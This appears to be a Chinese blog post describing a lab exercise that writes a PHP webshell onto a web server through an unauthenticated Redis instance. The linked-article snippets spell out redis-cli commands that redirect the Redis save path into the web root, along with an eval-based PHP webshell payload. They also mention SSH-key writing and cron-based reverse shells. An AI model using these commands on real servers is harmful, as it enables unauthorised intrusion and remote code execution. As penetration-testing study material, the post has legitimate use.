六、利用redis写webshell

最新推荐文章于 2025-12-23 23:16:57 发布
原创 最新推荐文章于 2025-12-23 23:16:57 发布 · 1k 阅读 · 2 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文详细介绍在CentOS 7环境下使用PHPStudy搭建Web服务的过程，包括下载、配置、安装PHPStudy，以及启动服务。进一步探讨了如何通过WebShell进行服务器管理，涉及Redis连接、Web服务配置及权限设置。

一、测试环境

靶机 centos7   192.168.1.27

攻击机  kali      192.168.1.138

二、测试过程

服务器配置phpstudy ，截图略过

1. 下载Phpstudy for Linux的bin文件

操作命令: wget -c http://lamp.phpstudy.net/phpstudy.bin

2. 配置phpstudy.bin文件的可执行权限

操作命令: chmod +x phpstudy.bin

3. 执行安装PhpStudy

操作命令: ./phpstudy.bin

4.启动服务

Phpstudy start

5.连接服务器redis，服务器开启web服务，并知道网站路径，有文件读写增删权限

 可以尝试apache默认路径，/phpstudy/www        /var/www/

6.webshell写入成功，菜刀连接

web中间件漏洞-Redis漏洞未授权访问漏洞-写webshell、写ssh公钥
Alsn86的博客
06-22 797
利用redis未授权访问、攻击机向服务器写入webshell从服务器查看写入的webshell菜刀连接。
Redis未授权访问漏洞复现与利用
Forget_liu的博客
06-07 3210
Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
Redis未授权访问漏洞的利用
L18296069161的博客
12-16 309
渗透学习交流群：773617250，群内定期直播，发布相关教程，欢迎咨询群主学习交流！  利用redis写webshell  在redis-cli中写入以下命令: config set dir /var/www/html/ config set dbfilename redis.php set webshell “<?php phpinfo(); ?>” save  然后看一下...
SSRF漏洞实现
dragon的博客
08-25 1427
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
利用redis写webshell
八月的专栏
03-13 1525
redis和mongodb我之所见 最近自己在做一些个人的小创作、小项目，其中用到了mongodb和redis，最初可能对这二者没有深入的认识。 都是所谓的“非关系型数据库”，有什么区别么？ 实际上，在我看来，redis的角色更接近于memcache，而mongodb是一个真正的数据库。 redis是一个key-value型数据库，信息以键对应值的关系存储在内存中，比memca
利用SSRF攻击Redis
LUOBIKUN的博客
10-20 6013
SSRF漏洞+redis前置知识实验环境搭建SSRF攻击Redis通过redis写入ssh公钥，获取操作系统权限；直接向Web目录中写webshell；linux计划任务执行命令反弹shell。 前置知识 利用SSRF来攻击靶机的redis服务，需要涉及到的一些知识点： 1，Redis客户端和服务端通信过程，以及常用命令； 2，相关协议，例如dict://协议和gother协议的使用 dict://协议 词典网络协议，在RFC 2009中进行描述。它的目标是超越Webster protocol，并允许客户端
未授权访问：Redis未授权访问漏洞
qq_68163788的博客
05-08 1631
未经授权访问是指在Redis数据库中，未经过身份验证或授权的情况下访问数据库的行为。Redis是一种流行的开源内存数据库，用于存储数据并提供快速访问。如果Redis实例未经过适当的安全配置，攻击者可以利用这一漏洞，访问敏感数据，修改数据或甚至破坏数据库。未经授权访问可能导致数据泄露、数据损坏和系统崩溃等严重后果。为了防止未经授权访问，管理员应该采取必要的安全措施，例如设置访问控制列表、使用密码进行身份验证和定期更新Redis的安全配置。通过加强安全措施，可以有效防止未经授权访问对Redis数据库造成的风险。
Redis攻防(未授权访问、利用redis写入webshell、任务计划反弹、Shellssh-keygen 公钥登录服务器、利用主从复制RCE)
热门推荐
Love&Share
12-13 1万+
文章目录未授权访问利用redis写入webshell任务计划反弹Shellssh-keygen 公钥登录服务器利用主从复制RCEwindowsSSRF安全设置 REmote DIctionary Server(Redis) 是一个 key-value 存储系统，是跨平台的非关系型（Nosql）数据库 关于Redis可以看菜鸟教程： https://www.runoob.com/redis/redis-tutorial.html 未授权访问 主要是因为配置不当，导致未授权访问漏洞，进一步将恶意数据写入内.
redis写webshell
干铮的博客
01-31 888
利用redis写webshell kali@ToolsScannerKali20201:~$ redis-cli -h 192.168.3.28 192.168.3.28:6379> config set dir /usr/local/nginx/html OK 192.168.3.28:6379> config set dbfilename shell.php OK 192.168.3.28:6379> set x "<?php @eval($_REQUEST[123])?&g
Redis漏洞利用与SSH免密反弹Shell
lytaaaa的博客
02-07 1410
本文详细介绍利用 Redis 服务漏洞写入 WebShell ，通过 SSH 公钥实现免密登录，并利用计划任务反弹 Shell 的过程。
redis安全攻防（专注渗透视角）
LainWith的博客
04-11 3623
数据库作为业务平台信息技术的核心和基础，承载着越来越多的关键数据，渐渐成为单位公共安全中最具有战略性的资产，数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露，轻则造成企业经济损失，重则影响企业形象，甚至行业、社会安全。可见，数据库安全至关重要。所以对数据库的保护是一项必须的，关键的，重要的工作任务。
Redis未授权渗透测试全流程实战-写入webshell
最新发布
mooyuan的网络安全博客
12-23 1037
本文详细分析了Redis未授权访问原理与修复方案，并通过渗透测试演示了攻击过程。其源于Redis默认不安全的配置，包括未设置认证密码、监听所有网络接口等。攻击者可利用redis-cli直接连接目标服务器，通过修改持久化配置将Webshell写入网站目录。修复方案包括设置强密码、绑定内网IP、禁用高危命令等安全加固措施。实战部分展示了从连接Reids服务器到获取服务器权限的全过程，包括写入PHP木马、蚁剑连接等操作，最终验证了Redis未授权安全风险的严重性。文章强调了Redis服务安全配置的重要性。
Redis未授权四种利用方式与修复方案
qq_45234543的博客
11-08 6491
想整理一波Redis利用方式，在内网中很容易遇见（方便运维人员） 简介：redis是一个key-value存储系统，nosql - 非关系型数据库，支持存储的value类型相对更多，包括string、list、set、zset和hash。这些数据类型都支持push/pop、add/remove及交并差和更丰富的操作，且操作都是原子性。为了保证效率，数据都是缓存在内存中，区别是redis会周期性的把更新的数据写入磁盘或者把修改写入追加的记录文件，并在这个基础上实现了master-slave（主从）同步
redis攻防-ssh登录、主从复制、未授权访问、计划任务、写webshell
weixin_46626737的博客
06-30 860
cat key.txt | redis-cli -h 192.168.214.138 --pass（有密码则加，没密码不用） 123456 -x set wang。原理是：利用redis数据库将生成的ssh公钥发送到某一个用户./ssh目录下，然后直接利用ssh的私钥连接即可。主从模式，一个redis机器充当主机，可以进行写数据操作，其他的redis机器充当从机，只可以进行读操作。查看数据库中的内容：keys * （redis数据库没有表，是大量的键值对组成的）3）开启保护模式（protect-mode）
redis未授权访问--拿webshell以及实现ssh免密登录
不积跬步无以至千里，不积小流无以成江海
08-30 1133
redis是一个非常快速的，开源的、支持网络、可基于内存亦可持久化的日志型、非关系类型的数据库；提供多种语言的 API，java/c/c++/c#/php/javascript/
攻防演练 | redis艰难写shell进入内网
zkaqlaoniao的博客
04-11 1012
更改好权限，又有绝对路径后，终于可以愉快的写shell了，结果在连上的一瞬间，看见站点的根目录下已经存在很多webshell文件了，果然在每一个你所向往的林荫小路中，其实早已车水马龙，不过幸好目标单位还没下线，还可以再吃点分！方法一需要服务器权限，且需要重启服务，很显然咱们不具备这个条件，也没这个胆量，怕重启起不来人就傻了，只能用方法二尝试一下了，结果还真的可以了！且phpinfo中泄漏了站点的绝对路径！环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等。
Redis漏洞及搭配ssrf利用的姿势
qq_71467825的博客
06-24 2911
这篇博客就总结到这里，下次把经典一点的SSRF题目都总结到一起再学习一波，冲冲冲！！！
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值